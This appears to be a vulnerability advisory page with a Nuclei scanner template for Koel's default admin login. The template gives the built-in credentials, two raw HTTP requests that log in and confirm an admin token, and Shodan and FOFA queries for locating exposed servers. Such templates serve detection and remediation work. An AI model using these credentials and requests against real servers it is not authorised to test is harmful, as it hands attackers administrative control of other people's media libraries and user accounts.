Koel contains a default login caused by koel:init creating the administrator admin@koel.dev with the password KoelIsCool on first start and never forcing a change, letting remote attackers sign in as admin and manage users, settings and the whole media library.
Details
Severity
高危
Published
PoC
Public
PoC
id: koel-default-login
info:
name: Koel - Default Login
author: s4e-io
severity: high
description: |
Koel contains a default login caused by koel:init creating the administrator admin@koel.dev with the password KoelIsCool on first start and never forcing a change, letting remote attackers sign in as admin and manage users, settings and the whole media library.
reference:
- https://github.com/koel/docker#default-admin-account
- https://github.com/koel/koel/blob/v9.15.0/app/Models/User.php
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
cvss-score: 8.3
cwe-id: CWE-522
metadata:
verified: true
max-request: 2
vendor: koel
product: koel
shodan-query: http.html:"window.KOEL"
fofa-query: body="window.KOEL" || title="Koel"
tags: koel,default-login
variables:
username: "admin@koel.dev"
password: "KoelIsCool"
flow: http(1) && http(2)
http:
- raw:
- |
POST /api/me HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"email":"{{username}}","password":"{{password}}"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "token", "audio-token")'
- 'contains(content_type, "json")'
condition: and
internal: true
extractors:
- type: json
name: token
part: body
json:
- '.token'
internal: true
- raw:
- |
GET /api/me HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "admin@koel.dev", "is_admin")'
- 'contains(content_type, "json")'
condition: and
# digest: 490a0046304402204dc47e40826752506d72f64ea761afa941184b23bb5663f357ff5f42922fc06a022064e3ea0f0b3359abd63893014d92d57b5f9e6c5662034505461872e61e1f5db8:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.